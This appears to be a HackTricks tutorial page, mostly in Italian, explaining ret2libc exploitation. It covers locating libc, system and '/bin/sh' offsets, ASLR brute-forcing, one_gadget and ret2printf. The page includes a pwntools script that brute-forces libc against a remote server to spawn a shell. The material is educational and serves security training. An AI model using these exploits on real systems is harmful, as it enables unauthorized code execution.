Ret2lib

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Informazioni di base

L’essenza di Ret2Libc è reindirizzare il flusso di esecuzione di un programma vulnerabile verso una funzione all’interno di una shared library (es., system, execve, strcpy) invece di eseguire shellcode fornito dall’attaccante sullo stack. L’attaccante crea un payload che modifica l’indirizzo di ritorno sullo stack per puntare alla funzione della libreria desiderata, predisponendo inoltre gli argomenti necessari in modo conforme alla calling convention.

Passaggi di esempio (semplificati)

  • Ottenere l’indirizzo della funzione da chiamare (es. system) e il comando da eseguire (es. /bin/sh)
  • Generare una ROP chain per impostare il primo argomento puntando alla stringa del comando e dirigere il flusso di esecuzione verso la funzione

Trovare gli indirizzi

  • Supponendo che la libc usata sia quella della macchina corrente, puoi trovare dove verrà caricata in memoria con:
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

Se vuoi verificare se l’ASLR sta cambiando l’indirizzo di libc, puoi fare:

for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
  • Sapendo quale libc è in uso, è anche possibile trovare l’offset della funzione system con:
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
  • Sapendo quale libc viene usata, è anche possibile trovare l’offset della stringa /bin/sh nella function con:
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

Using gdb-peda / GEF

Conoscendo la libc usata, è anche possibile usare Peda o GEF per ottenere l’indirizzo della funzione system, della funzione exit e della stringa /bin/sh :

p system
p exit
find "/bin/sh"

Usare /proc/<PID>/maps

Se il processo crea dei processi figli ogni volta che interagisci con esso (network server) prova a leggere quel file (probabilmente avrai bisogno dei privilegi di root).

Here you can find exactly where is the libc loaded inside the process and where is going to be loaded for every children of the process.

In questo caso è caricata in 0xb75dc000 (Questo sarà l’indirizzo base della libc)

libc sconosciuta

Potrebbe essere possibile che tu non conosca la libc che il binary sta caricando (perché potrebbe trovarsi su un server a cui non hai accesso). In questo caso potresti abusare della vulnerabilità per leak alcuni indirizzi e scoprire quale libc viene utilizzata:

Leaking libc address with ROP

E puoi trovare un template pwntools per questo in:

Leaking libc - template

Conoscere la libc con 2 offset

Controlla la pagina https://libc.blukat.me/ e usa una coppia di indirizzi di funzioni dentro la libc per scoprire la versione utilizzata.

Bypass dell’ASLR su sistemi a 32 bit

Questi attacchi di brute-forcing sono utile solo per sistemi a 32 bit.

  • Se l’exploit è locale, puoi provare a fare brute-force sull’indirizzo base della libc (utile per sistemi a 32 bit):
for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Se stai attaccando un server remoto, puoi provare a brute-force l’indirizzo della funzione libc usleep, passando come argomento 10 (per esempio). Se ad un certo punto il server impiega 10s in più per rispondere, hai trovato l’indirizzo di questa funzione.

One Gadget

Esegue una shell semplicemente saltando a un unico specifico indirizzo in libc:

One Gadget

Esempio di codice x86 Ret2lib

In questo esempio l’ASLR brute-force è integrato nel codice e il binary vulnerabile si trova su un server remoto:

from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()

Esempio di codice x64 Ret2lib

Check the example from:

ROP & JOP

Esempio ARM64 Ret2lib

Nel caso di ARM64, l’istruzione ret salta dove punta il registro x30 e non dove punta il registro dello stack. Quindi è un po’ più complicato.

Inoltre, in ARM64 un’istruzione fa quello che fa (non è possibile saltare nel mezzo di un’istruzione e trasformarla in una nuova).

Check the example from:

Ret2lib + Printf leak - arm64

Ret-into-printf (or puts)

Questo permette di leak informazioni dal processo chiamando printf/puts con alcuni dati specifici passati come argomento. Per esempio, mettere l’indirizzo di puts nella GOT in una chiamata a puts farà leak dell’indirizzo di puts in memoria.

Ret2printf

Questo significa fondamentalmente abusare di una Ret2lib per trasformarla in una vulnerabilità di format strings di printf usando il ret2lib per chiamare printf con i valori per sfruttarla (sembra inutile ma è possibile):

Format Strings

Altri esempi e riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks